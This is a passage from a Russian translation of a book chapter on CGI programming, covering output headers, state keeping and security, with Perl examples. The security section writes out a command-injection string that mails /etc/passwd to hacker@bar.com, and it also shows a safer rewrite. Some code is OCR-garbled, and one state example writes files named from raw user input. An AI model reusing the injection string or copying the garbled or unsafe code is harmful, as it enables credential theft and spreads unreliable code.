/* Вспомогательная функция HTML, выводящая начало страницы HTML с указанным заголовком. */

status = read_cgi_input(&entries); /* Производит ввод и синтаксический анализ данных формы*/

printf("<р>Данные формы:<br>");

print_all(entries); /* Вызывает определенную выше функцию print_all(). */

html_end(); /* Вспомогательная функция HTML, выводящая конец страницы HTML. */

list_clear(&entries); /* Освобождает память, занятую данными формы. */

return 0; }

Стандартное устройство вывода

Данные, посылаемые CGI-программой на стандартное устройство вывода, читаются веб-сервером и отправляются клиенту. Если имя сценария начинается с nph-, то данные посылаются прямо клиенту без вмешательства со стороны веб-сервера. В этом случае CGI-программа должна сформировать правильный заголовок HTTP, который будет понятен клиенту. В противном случае предоставьте веб-серверу сформировать HTTP-заголовок за вас.

Даже если вы не используете nph-сценарий, серверу нужно дать одну директиву, которая сообщит ему сведения о вашей выдаче. Обычно это HTTP-заголовок Content-Type , но может быть и заголовок Location . За заголовком должна следовать пустая строка, то есть перевод строки или комбинация CR/LF.

Заголовок Content-Type сообщает серверу, какого типа данные выдает ваша CGI-программа. Если это страница HTML, то строка должна быть Content-Type: text/html. Заголовок Location сообщает серверу другой URL - или другой путь на том же сервере, - куда нужно направить клиента. Заголовок должен иметь следующий вид: Location: http:// www. myserver. com/another/place/.

После заголовков HTTP и пустой строки можно посылать собственно данные, выдаваемые вашей программой, - страницу HTML, изображение, текст или что-либо еще. Среди CGI-программ, поставляемых с сервером Apache, есть nph-test-cgi и test-cgi, которые хорошо демонстрируют разницу между заголовками в стилях nph и не-nph, соответственно.

В этом разделе мы будем использовать библиотеки CGI.pm и cgic, в которых есть функции для вывода заголовков как HTTP, так и HTML. Это позволит вам сосредоточиться на выводе собственно содержания. Эти вспомогательные функции использованы в примерах, приведенных ранее в этой главе.

Важные особенности сценариев CGI

Вы уже знаете, в основном, как работает CGI. Клиент посылает данные, обычно с помощью формы, веб-серверу. Сервер выполняет CGI-программу, передавая ей данные. CGI-программа осуществляет свою обработку и возвращает свои выходные данные серверу, который передает их клиенту. Теперь от понимания того, как работают CGI-npor-раммы, нужно перейти к пониманию того, почему они так широко используются.

Хотя вам уже достаточно известно из этой главы, чтобы собрать простую работающую CGI-программу, нужно разобрать еще несколько важных вопросов, прежде чем создавать реально работающие программы для MySQL или mSQL. Во-первых, нужно научиться работать с несколькими формами. Затем нужно освоить некоторые меры безопасности, которые помешают злоумышленникам получить незаконный доступ к файлам вашего сервера или уничтожить их.

Запоминание состояния

Запоминание состояния является жизненно важным средством предоставления хорошего обслуживания вашим пользователям, а не только служит для борьбы с закоренелыми преступниками, как может показаться. Проблема вызвана тем, что HTTP является так называемым протоколом «без памяти». Это значит, что клиент посылает данные серверу, сервер возвращает данные клиенту, и дальше каждый идет своей дорогой. Сервер не сохраняет о клиенте данных, которые могут понадобиться в последующих операциях. Аналогично, нет уверенности, что клиент сохранит о совершенной операции какие-либо данные, которые можно будет использовать позднее. Это накладывает непосредственное и существенное ограничение на использование World Wide Web.

Рис. 9-2. Множественные запросы форм

Составление сценариев CGI при таком протоколе аналогично неспособности запоминать разговор. Всякий раз, разговаривая с кем-либо, независимо от того, как часто вы общались с ним раньше, вам приходится представляться и искать общую тему для разговора. Нет нужды объяснять, что это не способствует продуктивности. Рисунок 9-2 показывает, что всякий раз, когда запрос достигает программы CGI, это совершенно новый экземпляр программы, не имеющий связи с предыдущим.

В части клиента с появлением Netscape Navigator появилось выглядящее наспех сделанным решение под названием cookies. Оно состоит в создании нового HTTP-заголовка, который можно пересылать туда-сюда между клиентом и сервером, похожего на заголовки Content-Type и Location. Броузер клиента, получив заголовок cookie, должен сохранить в cookie данные, а также имя домена, в котором действует этот cookie. После этого всякий раз при посещении URL в пределах указанного домена заголовок cookie должен возвращаться серверу для использования в CGI-программах на этом сервере.

Метод cookie используется в основном для хранения идентификатора пользователя. Сведения о посетителе можно сохранить в файле на машине сервера. Уникальный ID этого пользователя можно послать в качестве cookie броузеру пользователя, после чего при каждом посещении сайта пользователем броузер автоматически посылает серверу этот ID. Сервер передает ID программе CGI, которая открывает соответствующий файл и получает доступ ко всем данным о пользователе. Все это происходит незаметным для пользователя образом.

Несмотря на всю полезность этого метода, большинство больших сайтов не использует его в качестве единственного средства запоминания состояния. Для этого есть ряд причин. Во-первых, не все броузеры поддерживают cookie. До недавнего времени основной броузер для людей с недостаточным зрением (не говоря уже о людях с недостаточной скоростью подключения к сети) - Lynx - не поддерживал cookie. «Официально» он до сих пор их не поддерживает, хотя это делают некоторые его широко доступные «боковые ветви». Во-вторых, что более важно, cookie привязывают пользователя к определенной машине. Одним из великих достоинств Web является то, что она доступна из любой точки света. Независимо от того, где была создана или где хранится ваша веб-страница, ее можно показать с любой подключенной к Интернет машины. Однако если вы попытаетесь получить доступ к поддерживающему cookie сайту с чужой машины, все ваши персональные данные, поддерживавшиеся с помощью cookie, будут утрачены.

Многие сайты по-прежнему используют cookie для персонализации страниц пользователей, но большинство дополняет их традиционным интерфейсом в стиле «имя регистрации/пароль». Если доступ к сайту осуществляется из броузера, не поддерживающего cookie, то страница содержит форму, в которую пользователь вводит имя регистрации и пароль, присвоенные ему при первом посещении сайта. Обычно эта форма маленькая и скромная, чтобы не отпугивать большинство пользователей, не заинтересованных ни в какой персонализации, а просто желающих пройти дальше. После ввода пользователем в форму имени регистрации и пароля CGI находит файл с данными об этом пользователе, как если бы имя посылалось с cookie. Используя этот метод, пользователь может регистрироваться на персонализированном веб-сайте из любой точки света.

Помимо задач учета предпочтений пользователя и длительного хранения сведений о нем можно привести более тонкий пример запоминания состояния, который дают популярные поисковые машины. Осуществляя поиск с помощью таких служб, как AltaVista или Yahoo, вы обычно получаете значительно больше результатов, чем можно отобразить в удобном для чтения виде. Эта проблема решается тем, что показывается небольшое количество результатов - обычно 10 или 20 - и дается какое-либо средство перемещения для просмотра следующей группы результатов. Хотя обычному путешественнику по Web такое поведение кажется обычным и ожидаемым, действительная его реализация нетривиальна и требует запоминания состояния.

Когда пользователь впервые делает запрос поисковому механизму, тот собирает все результаты, возможно, ограничиваясь некоторым предустановленным предельным количеством. Фокус состоит в том, чтобы выдавать эти результаты одновременно в небольшом количестве, запомнив при этом, что за пользователь запрашивал эти результаты и какую порцию он ожидает следующей. Оставляя в стороне сложности самого поискового механизма, мы встаем перед проблемой последовательного предоставления пользователю некоторой информации по одной странице. Рассмотрим пример 9-4, в котором показан сценарий CGI, выводящий десять строк файла и предоставляющий ему возможность просмотреть следующие или предыдущие десять строк.

Пример 9-4. Сохранение состояния в сценарии CGI

#!/usr/bin/perl -w

use CGI;

open(F,"/usr/dict/words") or die("He могу открыть! $!");

#Это файл, который будет выводиться, может быть любым.

$output = new CGI;

sub print_range { # Это главная функция программы, my $start = shift;

# Начальная строка файла, my $count = 0;

# Указатель, my $line = "";

# Текущая строка файла, print $output->header,

$output->start_html('Moй словарь');

# Создает HTML с заголовком 'Мой словарь', print "<pro>\n";

while (($count < $start) and ($line = <F>)) { $count++; }

# Пропустить все строки перед начальной, while (($count < $start+10) and ($line ? <F>) ) { print $line; $count++; }

# Напечатать очередные 10 строк.

my $newnext = $start+10; my $newprev = $start-10;

# Установить начальные строки для URL 'Next' и 'Previous',

print "</pre><p>";

unless ($start == 0) { # Включить URL 'Previous', если только вы

# уже не в начале .

print qq%<a href="read.cgi?start=$newprev">Previous</a>%; }

unless (eof) { # Включить URL 'Next', если только вы # не в конце файла.

print qq% <a href="read.cgi?start=$newnext">Next</a>%;

}

print «HTML; </body><html> HTML

exit(0); }

# Если данных нет, начать сначала,

if (not $output->param) {

&print_range(0); }

# Иначе начать со строки, указанной в данных.

&print_range($output->param('start'));

В этом примере запоминание состояния производится с помощью простейшего метода. Проблемы с сохранением данных нет, поскольку мы держим их в файле на сервере. Нам нужно только знать, откуда начать вывод, поэтому сценарий просто включает в URL начальную точку для следующей или предыдущей группы строк - все, что необходимо для генерации очередной страницы.

Однако если вам требуется нечто большее, чем возможность просто листать "файл, то полагаться на URL бывает обременительно. Облегчить эту трудность можно через использование формы HTML и включение данных о состоянии в теги <INPUT> типа HIDDEN. Этот метод с успехом используется на многих сайтах, позволяя делать ссылки между взаимосвязанными CGI-программами или расширяя возможности использования одной CGI-программы, как в предыдущем примере. Вместо ссылки на определенный объект, такой как начальная страница, данные URL могут указывать на автоматически генерируемый ID пользователя.

Так работают AltaVista и другие поисковые машины. При первом поиске генерируется ID пользователя, который скрыто включается в последующие URL. С этим ID связаны один или несколько файлов, содержащих результаты запроса. В URL включаются еще две величины: текущее положение в файле результатов и направление, в котором вы хотите перемещаться в нем дальше. Эти три значения — все, что нужно для работы мощных систем навигации больших поисковых машин.

- Впрочем, не хватает еще кое-чего. Использовавшийся в нашем примере файл /usr/diet/words очень велик. Что если на середине чтения мы его бросим, но захотим вернуться к нему позднее? Если не запомнить URL следующей страницы, никакого способа вернуться назад нет, даже AltaVista это не позволит. Если вы перезагрузите свой компьютер или станете работать с другого, невозможно вернуться к результатам прежнего поиска, не вводя заново запрос. Однако такое долговременное запоминание состояния лежит в основе персонализации вебсайтов, о которой мы говорили выше, и стоит посмотреть, как им можно воспользоваться. Пример 9-5 является модифицированным вариантом примера 9-4.

Пример 9-5. Устойчивое запоминание состояния

#!/usr/bin/perl -w

use CGI;

umask 0;

open(F,"/usr/dict/words") or die("He могу открыть! $!");

chdir("users") or die("He могу перейти в каталог $!");

# Это каталог, где будут храниться все данные

# о пользователе.

Soutput = new CGI;

if (not$output->param) {

print $output->header,

$output->start_html('Мой словарь');

print «HTML;

<FORM ACTION="read2.cgi" METHOD=POST>

<р>Введите свое имя пользователя:

<INPUT NAME="username" SIZE=30>

<P>

</formx/body></html> HTML

exit(0); }

$user = $output->param('username');

## Если файла пользователя нет, создать его и установить

## начальное значение в '0',

if ( not -e "$user" ) {

open (U, ">$user") or die("He могу открыть! $!");

print U "0\n";

close U;

&print_range('0');

## если пользователь существует и в URL не задано

## начальное значение, прочесть последнее значение и начать с него.

} elsif ( not $output->param('start') ) {

open(U,"Suser") or die("He могу открыть пользователя! $!");

$start = <U>; close U;

chomp $starl;

uprint range($start);

## Если пользователь существует и в URL не указано

## начальное значение, записать начальное значение

## в файл пользователя и начать вывод.

} else{

open(U,">$user") or die("He могу открыть пользователя для записи! $!");

print U $output->param('start'), "\n";

close U;

&print_range($output->param('start1)); }

sub print_range {

my $start = shift;

my $count = 0;

my $line = " "

print $output->header,

$output->start_html(' Мой словарь ');

print "<pre>\n";

while (($count < $start) and ($line = <F>)) { $count++; }

while (($count < $start+10) and ($line = <F>) )

{

print $line; $count++;

}

my $newnext = $start+10;

my $newprev = $start-10;

print "</pre><p>";

unless (Sstart == 0)

{

print

qq%<a href="read2.cgi?start=$newprev&username=$user">

Previous</a>%;

}

unless (eof) { print qq% <a href="read2.cgi?start=$newnext&username=$user">Next</a>%;

# Заметьте, что имя пользователя 'username' добавлено к URL.

# В противном случае CGI забудет, с каким пользователем имел дело.

}

print $output->end_html;

exit(0');

}

Меры безопасности

При работе серверов Интернет, будь они серверами HTTP или другого рода, соблюдение мер безопасности является важнейшей заботой. Обмен данными между клиентом и сервером, совершаемый в рамках

CGI, выдвигает ряд важных проблем, связанных с защитой данных. Сам протокол CGI достаточно защищен. CGI-программа получает данные от сервера через стандартное устройство ввода или переменные окружения, и оба эти метода являются безопасными. Но как только CGI-программа получает управление данными, ее действия ничем не ограничены. Плохо написанная CGI-программа может позволить злоумышленнику получить доступ к системе сервера. Рассмотрим следующий пример CGI-программы:

#!/usr/bin/perl -w

use CGI;

my $output = new CGI;

my $username = $output»param('username');

print $output->header, $output->start_html('Finger Output'),

"<pre>", 'finger $username', "</pre>", $output->end_html;

Эта программа обеспечивает действующий CGI-интерфейс к команде finger. Если запустить программу просто как finger.cgi, она выведет список всех текущих пользователей на сервере. Если запустить ее как finger.cgi?username=fred, то она выведет информацию о пользователе «fred» на сервере. Можно даже запустить ее как finger. cgi?userna-me=bob@f oo.com для вывода информации об удаленном пользователе. Однако если запустить ее как finger.cgi?username=fred;mail+hac-ker@bar.com</etc/passwd, могут произойти нежелательные вещи. Оператор обратный штрих «'' » в Perl порождает процесс оболочки и выполняет команду, возвращающую результат. В данной программе 'finger $username* используется как простой способ выполнить команду finger и получить ее результат. Однако большинство командных процессоров позволяет объединять в одной строке несколько команд. Например, любой процессор, подобный процессору Борна, делает это с помощью символа «; ». Поэтому "finger fred;mail hacker@bar.com</ etc/ passwd" запустит сначала команду finger, а затем команду mail hacker@bar.com</etc/passwd, которая может послать целиком файл паролей сервера нежелательному пользователю.

Одно из решений состоит в синтаксическом анализе поступивших от формы данных с целью поиска злонамеренного содержания. Можно, скажем, искать символ «;» и удалять все следующие за ним символы. Можно сделать такую атаку невозможной, используя альтернативные методы. Приведенную выше CGI-программу можно переписать так:

#!/usr/local/bin/perl -w

use CGI;

my $output = new CGI;

my $username = $output->param('username');

$|++;

# Отключить буферизацию с целью направления всех данных клиенту,

print $output->header, $putput->start_html('Finger Output'), "<pre>\n";

$pid = open(C_OUT, "-|");# Эта идиома Perl порождает дочерний процесс и открывает

# канал между родительским и дочерним процессами,

if ($pid) {# Это родительский процесс.

print <C_OUT>; ft Вывести выходные данные дочернего процесса.

print "</pre>", $output->end_html;

exit(O); ft Завершить программу. }

elsif (defined $pid) { # Это дочерний процесс.

$|++; # Отключить буферизацию.

ехес('/usr/bin/finger',$username) or die("exec() call failed.");

# Выполняет программу finger с Susername в качестве одного единственного
# аргумента командной строки. } else { die("неудачная попытка fork()"); }

# Проверка ошибок.

Как видите, это не на много более сложная программа. Но если запустить ее как finger.cgi?username=fred;mail+hacker@bar.com</etc/passwd, то программа finger будет выполняться с аргументом fred;mail hacker@bar.com</etc/passwd как одним именем пользователя.

В качестве дополнительной меры безопасности этот сценарий запускает finger явно как /usr/bin/finger. В маловероятном случае, когда веб-сервер передает вашей CGI-программе необычный PATH, запуск просто finger может заставить выполниться не ту программу, которая нужна. Еще одну меру безопасности можно принять, изучив переменную окружения PATH и убедившись, что она имеет приемлемое значение. Неплохо удалить из PATH текущий рабочий каталог, если только вы уверены, что это не тот случай, когда действительно нужно выполнить находящуюся в нем программу.

Другое важное соображение, касающееся безопасности, связано с правами пользователя. По умолчанию веб-сервер запускает программу CGI с правами того пользователя, который запустил сам сервер. Обычно это псевдопользователь, такой как «nobody», имеющий ограниченные права, поэтому у CGI-программы тоже мало прав. Обычно это хорошо, ибо, если злоумышленник сможет получить доступ к серверу через CGI-программу, ему не удастся причинить много вреда. Пример программы, крадущей пароли, показывает, что можно сделать, но фактический ущерб для системы, как правило, ограничен.

Однако работа в качестве пользователя с ограниченными правами ограничивает и возможности CGI. Если программе CGI нужно читать или записывать файлы, она может делать это только там, где у нее есть такое разрешение. Например, во втором примере запоминания состояния для каждого пользователя ведется файл. CGI-программа должна иметь разрешение на чтение и запись в каталоге, содержащем эти файлы, не говоря уже о самих файлах. Это можно сделать, создав каталог в качестве того же пользователя, что и сервер, с правами чтения и записи только для этого пользователя. Однако для такого пользователя, как «nobody», только root имеет подобную возможность. Если вы не суперпользователь, то вам придется общаться с администратором системы при каждом изменении в CGI.

Другой способ - сделать каталог свободным для чтения и записи, фактически сняв с него всякую защиту. Поскольку из внешнего мира получить доступ к этим файлам можно только через вашу программу, опасность не так велика, как может показаться. Однако если в программе обнаружится прореха, удаленный пользователь получит полный доступ ко всем файлам, в том числе возможность уничтожить их. Кроме того, законные пользователи, работающие на сервере, также получат возможность изменять эти файлы. Если вы собираетесь воспользоваться этим методом, то все пользователи сервера должны заслуживать доверия. Кроме того, используйте открытый каталог только для файлов, которые необходимы CGI-программе; иными словами, не подвергайте риску лишние файлы.

Что еще можно почитать

Если это ваше первое обращение к CGI-программированию, дальнейшее изучение можно продолжить разными путями. По этому предмету написаны десятки книг, многие из которых не предполагают никакого знакомства с программированием. «CGI Programming on the World Wide Web» издательства O'Reilly and Associates охватывает материал от простых сценариев на разных языках до действительно поразительных трюков и ухищрений. Общедоступная информация имеется также в изобилии в WWW. Неплохо начать с CGI Made Really Easy (Действительно просто о CGI) по адресу http://www.jmarshall.com/easy/cgi/ .

CGI и базы данных

С начала эпохи Интернет базы данных взаимодействовали с разработкой World Wide Web. На практике многие рассматривают Web просто как одну гигантскую базу данных мультимедийной информации.

Поисковые машины дают повседневный пример преимуществ баз данных. Поисковая машина не отправляется бродить по всему Интернету в поисках ключевых слов в тот момент, когда вы их запросили. Вместо этого разработчики сайта с помощью других программ создают гигантский указатель, который служит базой данных, откуда поисковый механизм извлекает записи. Базы данных хранят информацию в таком виде, который допускает быструю выборку с произвольным доступом.

Благодаря своей изменчивости базы данных придают Web еще большую силу: они превращают ее в потенциальный интерфейс для чего угодно. Например, системное администрирование можно производить удаленно через веб-интерфейс вместо требования регистрации администратора в нужной системе. Подключение баз данных к Web лежит в основе нового уровня интерактивности в Интернет.

Одна из причин подключения баз данных к Web регулярно дает о себе знать: значительная часть мировой информации уже находится в базах данных. Базы данных, существовавшие до возникновения Web, называются унаследованными (legacy) базами данных (в противоположность неподключенным к Web базам данных, созданным в недавнее время и которые следует назвать «дурной идеей»). Многие корпорации (и даже частные лица) стоят сейчас перед задачей обеспечения доступа к этим унаследованным базам данных через Web. Если только ваша унаследованная база не MySQL или mSQL, эта тема лежит за пределами данной книги.

Как сказано раньше, только ваше воображение может ограничить возможности связи между базами данных и Web. В настоящее время существуют тысячи уникальных и полезных баз данных, имеющие доступ из Web. Типы баз данных, действующих за пределами этих приложений, весьма различны. Некоторые из них используют CGI-программы в качестве интерфейса с сервером баз данных, таким как MySQL или mSQL. Эти типы представляют для нас наибольший интерес. Другие используют коммерческие приложения для взаимодействия с популярными настольными базами данных, такими как Microsoft Access и Claris FileMaker Pro. А другие просто работают с плоскими текстовыми файлами, являющимися самыми простыми базами данных изо всех возможных.

С помощью этих трех типов баз данных можно разрабатывать полезные веб-сайты любого размера и степени сложности. Одной из наших задач на протяжении нескольких следующих глав будет приложение мощи MySQL mSQL к Web с использованием CGI-программирования.

Поиск книг в интернет магазине Болеро

Поиск DVD в интернет магазине DVD DOM
Внимание! Money-Hunting.Ru - Интересная Online Игра с Денежными Призами.